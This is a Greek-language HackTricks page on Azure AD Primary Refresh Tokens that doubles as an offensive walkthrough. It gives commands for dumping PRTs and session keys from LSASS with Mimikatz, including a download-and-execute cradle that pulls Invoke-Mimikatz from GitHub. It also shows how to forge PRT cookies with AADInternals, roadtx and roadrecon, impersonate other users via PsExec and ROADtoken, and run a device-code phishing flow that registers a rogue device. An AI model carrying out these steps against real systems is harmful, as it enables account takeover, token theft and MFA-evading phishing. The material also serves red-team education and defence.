Az - Primary Refresh Token (PRT)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το Primary Refresh Token (PRT);

Ένα Primary Refresh Token (PRT) είναι ένα μακροχρόνιο refresh token που χρησιμοποιείται στην αυθεντικοποίηση Azure AD (Entra ID), ανάλογο με ένα Kerberos TGT. Εκδίδεται κατά την είσοδο του χρήστη σε μια συσκευή που είναι συνδεδεμένη με το Azure AD και μπορεί να χρησιμοποιηθεί για να ζητήσει access tokens για διάφορες εφαρμογές χωρίς να ζητούνται ξανά τα διαπιστευτήρια. Κάθε PRT συνοδεύεται από ένα session key (γνωστό και ως Proof-of-Possession key) – ένα συμμετρικό κλειδί που χρησιμοποιείται για την υπογραφή αιτημάτων και την απόδειξη ότι ο πελάτης έχει το PRT. Το PRT είναι ένα αδιαφανές, κρυπτογραφημένο blob (μη αναγνώσιμο από τον πελάτη), ενώ το session key χρησιμοποιείται για να υπογράψει ένα JWT που περιέχει το PRT κατά την αίτηση tokens. Με άλλα λόγια, η κατοχή του PRT από μόνη της δεν είναι επαρκής; ένας επιτιθέμενος χρειάζεται το session key για να αποδείξει τη νομιμότητα, παρόμοια με την ανάγκη και των δύο, ενός Kerberos TGT και του session key του για την αυθεντικοποίηση.

Στα Windows, το PRT και το session key αποθηκεύονται στη διαδικασία LSASS μέσω του plugin CloudAP. Εάν μια συσκευή διαθέτει TPM (Trusted Platform Module), το Azure AD συνδέει τα κλειδιά με το TPM για επιπλέον ασφάλεια. Αυτό σημαίνει ότι σε συσκευές με TPM, το session key αποθηκεύεται ή χρησιμοποιείται εντός του TPM με τέτοιο τρόπο ώστε να μην μπορεί να διαβαστεί άμεσα από τη μνήμη υπό κανονικές συνθήκες. Εάν δεν είναι διαθέσιμο το TPM (π.χ. πολλές VM ή παλαιότερα συστήματα), τα κλειδιά διατηρούνται σε λογισμικό και προστατεύονται με κρυπτογράφηση DPAPI. Και στις δύο περιπτώσεις, ένας επιτιθέμενος με διαχειριστικά δικαιώματα ή εκτέλεση κώδικα στη μηχανή μπορεί να προσπαθήσει να dump the PRT and session key from memory ως μέρος της μετα-εκμετάλλευσης και στη συνέχεια να τα χρησιμοποιήσει για να προσποιηθεί τον χρήστη στο cloud. Σε αντίθεση με τα τυπικά refresh tokens (τα οποία είναι συνήθως συγκεκριμένα για εφαρμογές), ένα PRT είναι ευρύτερο, επιτρέποντας στη συσκευή σας να ζητήσει tokens για σχεδόν οποιοδήποτε πόρο ή υπηρεσία που είναι ενσωματωμένο στο Entra ID.

Πώς λειτουργεί ένα PRT;

Ακολουθεί μια απλοποιημένη ανάλυση του πώς λειτουργεί ένα PRT:

  1. Εγγραφή Συσκευής:

  • Όταν η συσκευή σας (όπως ένα φορητό υπολογιστή Windows ή ένα κινητό τηλέφωνο) ενώνεται ή εγγράφεται με το Entra ID, αυθεντικοποιείται χρησιμοποιώντας τα διαπιστευτήριά σας (όνομα χρήστη/κωδικός πρόσβασης/MFA).

  • Μετά την επιτυχή αυθεντικοποίηση, το Entra ID εκδίδει ένα PRT που είναι δεσμευμένο συγκεκριμένα για τη συσκευή σας.

  1. Αποθήκευση Token:
  • Το PRT αποθηκεύεται με ασφάλεια στη συσκευή σας, συχνά προστατευμένο από υλικές δυνατότητες όπως το Trusted Platform Module (TPM), διασφαλίζοντας ότι είναι δύσκολο για μη εξουσιοδοτημένα μέρη να το εξαγάγουν ή να το κακοποιήσουν.
  1. Μοναδική Σύνδεση (SSO):

  • Κάθε φορά που έχετε πρόσβαση σε μια εφαρμογή που προστατεύεται από το Entra ID (π.χ. εφαρμογές Microsoft 365, SharePoint, Teams), η συσκευή σας χρησιμοποιεί σιωπηλά το αποθηκευμένο PRT για να ζητήσει και να αποκτήσει ένα συγκεκριμένο access token για αυτήν την εφαρμογή.

  • Δεν χρειάζεται να εισάγετε τα διαπιστευτήριά σας επανειλημμένα, καθώς το PRT χειρίζεται διαφανώς την αυθεντικοποίηση.

  1. Ανανέωση και Ασφάλεια:

  • Τα PRT έχουν μεγάλη διάρκεια ζωής (συνήθως γύρω στις 14 ημέρες), αλλά ανανεώνονται συνεχώς όσο η συσκευή σας είναι ενεργά σε χρήση.

  • Εάν η συσκευή σας γίνει συμβιβασμένη ή χαθεί, οι διαχειριστές μπορούν να ανακαλέσουν το PRT σας απομακρυσμένα, μπλοκάροντας αμέσως την μη εξουσιοδοτημένη πρόσβαση.

Γιατί είναι ισχυρά τα PRT;

  • Καθολική Πρόσβαση: Σε αντίθεση με τα τυπικά tokens που περιορίζονται σε μία εφαρμογή ή πόρο, ένα PRT μπορεί να διευκολύνει την πρόσβαση σε όλες τις υπηρεσίες που είναι ενσωματωμένες στο Entra ID.

  • Ενισχυμένη Ασφάλεια: Με ενσωματωμένες προστασίες υλικού (όπως το TPM), τα PRT διασφαλίζουν ασφαλή αποθήκευση και χρήση tokens.

  • Εμπειρία Χρήστη: Τα PRT βελτιώνουν σημαντικά την εμπειρία του χρήστη μειώνοντας τις συχνές προτροπές αυθεντικοποίησης και επιτρέποντας πραγματική απρόσκοπτη SSO.

Πώς να ξέρετε αν υπάρχει PRT;

  • Ελέγξτε αν υπάρχει PRT:
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
  • Ελέγξτε αν προστατεύεται από TPM:
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Περάστε το PRT

Σύμφωνα με αυτή την ανάρτηση σε συσκευές Windows χωρίς TPM binding, το PRT και το session key του βρίσκονται στο LSASS (CloudAP plug‑in). Με τοπικό admin/SYSTEM σε αυτή τη συσκευή, το PRT blob και το DPAPI‑encrypted session key μπορούν να διαβαστούν από το LSASS, το session key να αποκρυπτογραφηθεί μέσω DPAPI, και το signing key να παραχθεί για να δημιουργηθεί ένα έγκυρο PRT cookie (x‑ms‑RefreshTokenCredential). Χρειάζεστε τόσο το PRT όσο και το session key του—η συμβολοσειρά PRT μόνη της δεν είναι αρκετή.

Mimikatz

  1. Το PRT (Primary Refresh Token) εξάγεται από το LSASS (Local Security Authority Subsystem Service) και αποθηκεύεται για μελλοντική χρήση.
  2. Το Session Key εξάγεται στη συνέχεια. Δεδομένου ότι αυτό το κλειδί εκδίδεται αρχικά και στη συνέχεια επανακρυπτογραφείται από τη τοπική συσκευή, απαιτεί αποκρυπτογράφηση χρησιμοποιώντας ένα DPAPI masterkey. Λεπτομερείς πληροφορίες σχετικά με το DPAPI (Data Protection API) μπορείτε να βρείτε σε αυτούς τους πόρους: HackTricks και για κατανόηση της εφαρμογής του, ανατρέξτε στην επίθεση Pass-the-cookie.
  3. Μετά την αποκρυπτογράφηση του Session Key, το παράγωγο κλειδί και το context για το PRT αποκτώνται. Αυτά είναι κρίσιμα για τη δημιουργία του PRT cookie. Συγκεκριμένα, το παράγωγο κλειδί χρησιμοποιείται για την υπογραφή του JWT (JSON Web Token) που συνιστά το cookie. Μια ολοκληρωμένη εξήγηση αυτής της διαδικασίας έχει παρασχεθεί από τον Dirk-jan, προσβάσιμη εδώ.
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Το PRT field περιέχει το κρυπτογραφημένο refresh token (συνήθως base64 string), και το KeyValue στο ProofOfPossessionKey είναι το DPAPI-κρυπτογραφημένο session key (επίσης base64).

Στη συνέχεια, από την έξοδο του sekurlsa::cloudap, αντιγράψτε το base64 blob από το KeyValue μέσα στο πεδίο ProofOfPossessionKey (αυτό είναι το session key κρυπτογραφημένο με DPAPI). Αυτό το κρυπτογραφημένο κλειδί δεν μπορεί να χρησιμοποιηθεί όπως είναι – πρέπει να αποκρυπτογραφηθεί χρησιμοποιώντας τα διαπιστευτήρια DPAPI του συστήματος.

Δεδομένου ότι η κρυπτογράφηση DPAPI για τα μυστικά του συστήματος απαιτεί το σύστημα του μηχανήματος, ανεβάστε το token σας σε SYSTEM και χρησιμοποιήστε το module DPAPI του Mimikatz για να αποκρυπτογραφήσετε:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

Το token::elevate θα προσποιηθεί το SYSTEM και η εντολή dpapi::cloudapkd με το /unprotect θα χρησιμοποιήσει το κύριο κλειδί DPAPI για να αποκρυπτογραφήσει το παρεχόμενο KeyValue blob. Αυτό αποδίδει το κλειδί συνεδρίας σε καθαρό κείμενο και επίσης το σχετικό Derived Key και Context που χρησιμοποιούνται για την υπογραφή:

  • Clear key – το 32-byte κλειδί συνεδρίας σε καθαρό κείμενο (παρουσιάζεται ως hex string).
  • Derived Key – ένα 32-byte κλειδί που προέρχεται από το κλειδί συνεδρίας και μια τιμή context (περισσότερα παρακάτω).
  • Context – ένα 24-byte τυχαίο context που χρησιμοποιήθηκε κατά την προέλευση του κλειδιού υπογραφής για το cookie PRT.

Note

Αν αυτό δεν λειτουργεί για εσάς για να προσποιηθείτε τον χρήστη, ελέγξτε την παρακάτω ενότητα χρησιμοποιώντας AADInternals.

Στη συνέχεια, μπορείτε επίσης να χρησιμοποιήσετε το mimikatz για να δημιουργήσετε ένα έγκυρο cookie PRT:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz θα εξάγει ένα υπογεγραμμένο JWT (το PRT cookie) μετά τη γραμμή “Signature with key”, το οποίο περιέχει το PRT και είναι υπογεγραμμένο χρησιμοποιώντας το παράγωγο κλειδί. Αυτό το JWT μπορεί να αντιγραφεί και στη συνέχεια να χρησιμοποιηθεί σε μια διαδικτυακή συνεδρία. Για παράδειγμα, ένας επιτιθέμενος μπορεί να ανοίξει έναν περιηγητή, να μεταβεί στο login.microsoftonline.com, και να ρυθμίσει ένα cookie με όνομα x-ms-RefreshTokenCredential με την τιμή να είναι αυτό το JWT. Όταν ο περιηγητής ανανεώνεται ή πλοηγείται, το Azure AD θα θεωρήσει τη συνεδρία ως αυθεντικοποιημένη (το PRT cookie παρουσιάζεται σαν να έχει συμβεί SSO), και θα εκδώσει έναν κωδικό εξουσιοδότησης ή ένα διακριτικό πρόσβασης για τον καθορισμένο πόρο. Στην πράξη, κάποιος θα πλοηγηθεί σε έναν πόρο όπως το Office 365 ή το Azure portal; η παρουσία ενός έγκυρου PRT cookie σημαίνει ότι το Azure AD θα παραχωρήσει πρόσβαση χωρίς επιπλέον σύνδεση (παρακάμπτοντας το MFA, καθώς το PRT είναι ήδη αυθεντικοποιημένο).

Μπορείτε επίσης να χρησιμοποιήσετε roadtx και roadrecon με το PRT του PRT cookie για να προσποιηθείτε τον χρήστη (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT).

Mimikatz + AADInternals

Το AADInternals PowerShell module μπορεί επίσης να χρησιμοποιηθεί με το προηγουμένως αποκτηθέν PRT και το κλειδί συνεδρίας για να παραχθεί ένα έγκυρο PRT token. Αυτό είναι χρήσιμο για την αυτοματοποίηση της διαδικασίας απόκτησης ενός νέου PRT token με nonce, το οποίο μπορεί να χρησιμοποιηθεί για την ανάκτηση διακριτικών πρόσβασης για το Azure AD Graph API ή άλλους πόρους:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Αυτό αποκτά ένα νέο cookie PRT (με nonce) και στη συνέχεια το χρησιμοποιεί για να αποκτήσει ένα access token για το Azure AD Graph API (δείχνοντας πρόσβαση στο cloud εκ μέρους του χρήστη). Το AADInternals αφαιρεί μεγάλο μέρος της κρυπτογραφίας και χρησιμοποιεί τα Windows components ή τη δική του λογική στο παρασκήνιο.

Mimikatz + roadtx

  • Ανανεώστε πρώτα το PRT, το οποίο θα αποθηκευτεί στο roadtx.prt:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Τώρα μπορούμε να αιτήσουμε tokens χρησιμοποιώντας τον διαδραστικό περιηγητή με roadtx browserprtauth. Αν χρησιμοποιήσουμε την εντολή roadtx describe, βλέπουμε ότι το access token περιλαμβάνει μια αξίωση MFA επειδή το PRT που χρησιμοποίησα σε αυτή την περίπτωση είχε επίσης μια αξίωση MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Έχοντας το πλαίσιο και το παράγωγο κλειδί που έχει απορριφθεί από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για να παραχθεί ένα νέο υπογεγραμμένο cookie με:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Κατάχρηση προστατευμένων PRTs

Παρά τις αναφερόμενες προστασίες, ένας επιτιθέμενος που έχει ήδη παραβιάσει μια συσκευή (ως τοπικός χρήστης ή ακόμη και ως SYSTEM) μπορεί να καταχραστεί το PRT για να αποκτήσει φρέσκα access tokens εκμεταλλευόμενος τα δικά του APIs και τα στοιχεία ασφαλείας του Windows token broker. Αντί να εξάγει το ακατέργαστο PRT ή το κλειδί, ο επιτιθέμενος ουσιαστικά “ζητά” από το Windows να χρησιμοποιήσει το PRT εκ μέρους του. Στις παρακάτω ενότητες, περιγράφουμε τις τρέχουσες έγκυρες τεχνικές για την κατάχρηση των PRTs και των κλειδιών συνεδρίας τους σε ενημερωμένες συσκευές Windows όπου ισχύουν οι προστασίες TPM. Όλες αυτές οι τεχνικές υποθέτουν πρόσβαση μετά την εκμετάλλευση στη στοχοθετημένη μηχανή και επικεντρώνονται στην κατάχρηση των ενσωματωμένων ροών αυθεντικοποίησης (δεν απαιτούνται μη επιδιορθωμένες ευπάθειες).

Αρχιτεκτονική Windows Token Broker και Ροή SSO

Η σύγχρονη Windows διαχειρίζεται την αυθεντικοποίηση στο cloud μέσω μιας ενσωματωμένης στοίβας token broker, η οποία περιλαμβάνει στοιχεία τόσο σε λειτουργία χρήστη όσο και σε LSASS (Local Security Authority). Κύρια κομμάτια αυτής της αρχιτεκτονικής περιλαμβάνουν:

  • LSASS CloudAP Plugin: Όταν μια συσκευή είναι συνδεδεμένη στο Azure AD, το LSASS φορτώνει πακέτα αυθεντικοποίησης cloud (π.χ. CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) που διαχειρίζονται τα PRTs και τα αιτήματα tokens. Το LSASS (που εκτελείται ως SYSTEM) οργανώνει την αποθήκευση, ανανέωση και χρήση του PRT, και αλληλεπιδρά με το TPM για να εκτελεί κρυπτογραφικές λειτουργίες (όπως η υπογραφή μιας πρόκλησης PRT με το κλειδί συνεδρίας).

  • Web Account Manager (WAM): Ο Windows Web Account Manager είναι ένα πλαίσιο λειτουργίας χρήστη (προσβάσιμο μέσω COM/WinRT APIs) που επιτρέπει σε εφαρμογές ή προγράμματα περιήγησης να ζητούν tokens για cloud λογαριασμούς χωρίς να ζητούν διαπιστευτήρια. Ο WAM λειτουργεί ως μεσάζων μεταξύ των εφαρμογών χρήστη και του ασφαλούς PRT που υποστηρίζεται από LSASS/TPM. Για παράδειγμα, η βιβλιοθήκη MSAL της Microsoft και ορισμένα στοιχεία του λειτουργικού συστήματος χρησιμοποιούν τον WAM για να αποκτούν σιωπηλά tokens χρησιμοποιώντας το PRT του συνδεδεμένου χρήστη.

  • BrowserCore.exe και διεπαφές Token Broker COM: Για το SSO του προγράμματος περιήγησης, η Windows περιλαμβάνει ένα στοιχείο που ονομάζεται BrowserCore.exe (βρίσκεται κάτω από Windows Security\BrowserCore). Αυτό είναι ένας εγγενής οικοδεσπότης μηνυμάτων που χρησιμοποιείται από προγράμματα περιήγησης (Edge, Chrome μέσω μιας επέκτασης, κ.λπ.) για να αποκτήσει ένα token SSO που προέρχεται από το PRT για είσοδο στο Azure AD. Στο παρασκήνιο, το BrowserCore εκμεταλλεύεται ένα αντικείμενο COM που παρέχεται από το MicrosoftAccountTokenProvider.dll για να ανακτήσει ένα cookie/token που βασίζεται στο PRT. Στην ουσία, αυτή η διεπαφή COM είναι μια API “token broker” πρώτου μέρους που οποιαδήποτε διαδικασία που εκτελείται ως χρήστης μπορεί να καλέσει για να αποκτήσει ένα token SSO (εφόσον ο χρήστης έχει ένα έγκυρο PRT στο LSASS).

Όταν ένας χρήστης που είναι συνδεδεμένος στο Azure AD προσπαθεί να αποκτήσει πρόσβαση σε μια πηγή (ας πούμε, το Azure Portal), η ροή είναι συνήθως: μια εφαρμογή καλεί τον WAM ή τη διεπαφή COM του BrowserCore, η οποία με τη σειρά της επικοινωνεί με το LSASS. Το LSASS χρησιμοποιεί το PRT και το κλειδί συνεδρίας (ασφαλισμένο από το TPM) για να παραγάγει ένα SSO token – συχνά ονομάζεται PRT cookie – το οποίο στη συνέχεια επιστρέφεται στην εφαρμογή ή το πρόγραμμα περιήγησης. Το PRT cookie είναι ένα ειδικό JWT που περιέχει το κρυπτογραφημένο PRT και μια nonce, υπογεγραμμένο με ένα κλειδί που προέρχεται από το κλειδί συνεδρίας του PRT. Αυτό το cookie αποστέλλεται στο Azure AD (σε ένα header x-ms-RefreshTokenCredential) για να αποδείξει ότι η συσκευή και ο χρήστης κατέχουν ένα έγκυρο PRT, επιτρέποντας στο Azure AD να εκδώσει τυπικά OAuth refresh και access tokens για διάφορες εφαρμογές. Σημαντικά, οποιαδήποτε αξίωση Multi-Factor Authentication (MFA) που υπάρχει στο PRT θα μεταφερθεί σε tokens που αποκτώνται μέσω αυτής της διαδικασίας SSO, πράγμα που σημαίνει ότι τα tokens που προέρχονται από το PRT μπορούν να ικανοποιήσουν πόρους που προστατεύονται από MFA.

Κλοπή Token σε Επίπεδο Χρήστη (Μη Διαχειριστής)

Όταν ένας επιτιθέμενος έχει εκτέλεση κώδικα σε επίπεδο χρήστη, η προστασία TPM του PRT δεν σταματά τον επιτιθέμενο από το να αποκτήσει tokens. Ο επιτιθέμενος εκμεταλλεύεται τις ενσωματωμένες APIs του Windows Token Broker:

BrowserCore (MicrosoftAccountTokenProvider COM)

Ο BrowserCore εκθέτει μια κλάση COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) για να ανακτήσει PRT cookies. Αυτή η API COM καλείται νόμιμα από προγράμματα περιήγησης (επέκταση Chrome/Edge) για Azure AD SSO.

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Επιστρέφει ένα Azure AD refresh token ή PRT cookie)

Το ROADtoken θα εκτελέσει το BrowserCore.exe από τον σωστό φάκελο και θα το χρησιμοποιήσει για να αποκτήσει ένα PRT cookie. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με το ROADtools για να γίνει αυθεντικοποίηση και να αποκτηθεί ένα μόνιμο refresh token.

Για να δημιουργήσετε ένα έγκυρο PRT cookie, το πρώτο πράγμα που χρειάζεστε είναι ένα nonce.
Μπορείτε να το αποκτήσετε με:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ή χρησιμοποιώντας roadrecon:

roadrecon auth prt-init

Μπορείτε να χρησιμοποιήσετε roadtoken για να αποκτήσετε ένα νέο PRT (τρέξτε το εργαλείο από μια διαδικασία του χρήστη για να επιτεθείτε):

.\ROADtoken.exe <nonce>

Ως μία γραμμή:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το generated cookie για να generate tokens για να login χρησιμοποιώντας Azure AD Graph ή Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Οι επιτιθέμενοι χρησιμοποιούν νόμιμες βιβλιοθήκες αυθεντικοποίησης της Microsoft (MSAL, WAM APIs, WebAuthenticationCoreManager) από διαδικασίες επιπέδου χρήστη για να ανακτούν σιωπηλά tokens εκμεταλλευόμενοι το PRT που προστατεύεται από TPM.

execute-assembly aadprt.exe

(Ανακτά το cookie PRT μέσω διεπαφών COM)

execute-assembly listwamaccounts.exe

(Λίστες λογαριασμών Azure AD που έχουν συνδεθεί μέσω WAM; προσδιορίζει στόχους διακριτικών)

  • Γενικό Παράδειγμα (PowerShell με MSAL):
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Σιωπηλά αποκτά ένα access token εκμεταλλευόμενο το PRT)

Κατάχρηση Token Επιπέδου Διαχειριστή / SYSTEM

Εάν ο επιτιθέμενος αναβαθμιστεί σε Διαχειριστή ή SYSTEM, μπορεί να προσποιηθεί άμεσα οποιονδήποτε χρήστη που έχει συνδεθεί στο Azure AD και να χρησιμοποιήσει τις ίδιες COM/WAM token broker APIs. Τα PRT που προστατεύονται από TPM δεν αποτρέπουν αυτή την νόμιμη έκδοση token.

Προσποίηση Χρήστη και Ανάκτηση Token

Ο Διαχειριστής/SYSTEM θα μπορούσε να προσποιηθεί τις τρέχουσες συνεδρίες άλλων χρηστών για να καλέσει το BrowserCore ή WAM για τη δημιουργία token.

Για αυτό, απλά προσποιηθείτε τη διαδικασία του χρήστη (π.χ., explorer.exe) και καλέστε τις token broker APIs χρησιμοποιώντας οποιαδήποτε τεχνική σχολιάστηκε στην προηγούμενη ενότητα.

Άμεση Αλληλεπίδραση LSASS & Token Broker (Προχωρημένο)

Ένας διαχειριστής μπορεί ακόμα να εργαστεί με το LSASS για να καταχραστεί το PRT: για παράδειγμα, ένας διαχειριστής θα μπορούσε να εισάγει κώδικα στο LSASS ή να καλέσει εσωτερικές λειτουργίες CloudAP για να προτρέψει το LSASS να παράγει ένα token. Η έρευνα του Dirk-jan σημείωσε ότι ένας διαχειριστής μπορεί “να αλληλεπιδράσει με τα κλειδιά PRT στο LSASS χρησιμοποιώντας crypto APIs”. Στην πράξη, αυτό θα μπορούσε να σημαίνει τη χρήση των δικών λειτουργιών του LSASS (μέσω μιας τεχνικής όπως το API hooking ή RPC, αν είναι διαθέσιμες) για να δημιουργήσει ένα cookie PRT. Μια άλλη προσέγγιση είναι να εκμεταλλευτεί οποιοδήποτε παράθυρο όπου το session key μπορεί να εμφανιστεί στη μνήμη – για παράδειγμα, τη στιγμή της ανανέωσης του PRT ή της εγγραφής συσκευής όταν είναι μη κρυπτογραφημένο για χρήση. Τέτοιες επιθέσεις είναι σημαντικά πιο περίπλοκες και καταστάσεων. Μια πιο απλή τακτική διαχειριστή είναι η κατάχρηση υπαρχόντων token handles ή caches: το LSASS αποθηκεύει πρόσφατα εκδοθέντα refresh tokens για εφαρμογές στη μνήμη (κρυπτογραφημένα με DPAPI). Ένας αποφασισμένος επιτιθέμενος SYSTEM θα μπορούσε να προσπαθήσει να εξαγάγει αυτά τα DPAPI-protected tokens (χρησιμοποιώντας το master key του χρήστη, το οποίο μπορεί να αποκτήσει ένας διαχειριστής) για να κλέψει άμεσα refresh tokens για συγκεκριμένες εφαρμογές. Ωστόσο, η πιο εύκολη και γενική μέθοδος παραμένει η προσποίηση και η χρήση των τεκμηριωμένων token broker interfaces, καθώς αυτές εγγυώνται ότι το Azure AD θα εκδώσει φρέσκα tokens (με όλες τις σωστές αξιώσεις) αντί να προσπαθήσει να σπάσει την κρυπτογράφηση.

Phishing PRTs

Καταχρήστε τη ροή OAuth Device Code χρησιμοποιώντας το Microsoft Authentication Broker client ID (29d9ed98-a469-4536-ade2-f981bc1d605e) και το Device Registration Service (DRS) resource για να αποκτήσετε ένα refresh token που μπορεί να αναβαθμιστεί σε Primary Refresh Token (PRT) μετά την εγγραφή μιας rogue device.

Γιατί αυτό λειτουργεί

  • PRT είναι δεσμευμένο στη συσκευή και επιτρέπει SSO για (σχεδόν) οποιαδήποτε εφαρμογή προστατευμένη από Entra.
  • Ο συνδυασμός Broker client + DRS επιτρέπει σε ένα phished refresh token να ανταλλαχθεί για ένα PRT μόλις εγγραφεί μια συσκευή.
  • Η MFA δεν παρακάμπτεται: ο χρήστης εκτελεί MFA κατά τη διάρκεια του phishing; οι αξιώσεις MFA προχωρούν στο προκύπτον PRT, επιτρέποντας στον επιτιθέμενο να έχει πρόσβαση σε εφαρμογές χωρίς περαιτέρω προτροπές.

Προαπαιτούμενα:

  • Αυθεντικοποίηση χρήστη μέσω Device Code χρησιμοποιώντας το Broker client ID (29d9ed98-a469-4536-ade2-f981bc1d605e) και DRS scopes/resource (π.χ., 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default ή https://enrollment.manage.microsoft.com/).
  • Ο χρήστης μπορεί να εγγράψει συσκευές στο Entra ID (προεπιλογή: επιτρέπεται, αλλά μπορεί να περιοριστεί ή να έχει περιορισμούς).
  • Καμία πολιτική CA που να μπλοκάρει που απενεργοποιεί το Device Code ή απαιτεί συμμορφούμενες/υβριδικές συσκευές για τις στοχευμένες εφαρμογές (αυτές δεν θα σταματήσουν την έκδοση PRT, αλλά θα μπλοκάρουν τη χρήση του για πρόσβαση σε προστατευμένες εφαρμογές).
  • Φιλοξενούμενος ελεγχόμενος από τον επιτιθέμενο για να εκτελέσει τη ροή και να κρατήσει τα tokens/device keys.

Ροή Επίθεσης:

  1. Εκκινήστε την αυθεντικοποίηση Device Code με client_id = Broker και DRS scope/resource; δείξτε τον κωδικό χρήστη στο θύμα.
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

  1. Το θύμα συνδέεται στον ιστότοπο της Microsoft (νόμιμο UI) και ολοκληρώνει MFA → ο επιτιθέμενος λαμβάνει ένα DRS‑scoped refresh token για τον πελάτη Broker.

  2. Καταχωρίστε μια κακόβουλη συσκευή στον ενοικιαστή χρησιμοποιώντας αυτό το refresh token (το αντικείμενο της συσκευής δημιουργείται και συνδέεται με το θύμα).

  3. Αναβαθμίστε σε PRT ανταλλάσσοντας το refresh token + ταυτότητα/κλειδιά συσκευής → PRT δεσμευμένο στη συσκευή του επιτιθέμενου.

  4. (Προαιρετική επιμονή): αν το MFA ήταν φρέσκο, καταχωρίστε ένα κλειδί Windows Hello for Business για να διατηρήσετε μακροχρόνια, χωρίς κωδικό πρόσβασης πρόσβαση.

  5. Κατάχρηση: εξαργυρώστε το PRT (ή δημιουργήστε ένα PRT cookie) για να αποκτήσετε tokens πρόσβασης για Exchange/Graph/SharePoint/Teams/προσαρμοσμένες εφαρμογές ως ο χρήστης.

Δημόσια Εργαλεία και Αποδείξεις-Έννοιες

  • ROADtools/ROADtx: Αυτοματοποιεί τη ροή OAuth, την καταχώριση συσκευών και τις αναβαθμίσεις tokens.
  • DeviceCode2WinHello: Σενάριο μίας εντολής που αυτοματοποιεί την κωδικοποίηση συσκευής phish-to-PRT+WHfB κλειδιά.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
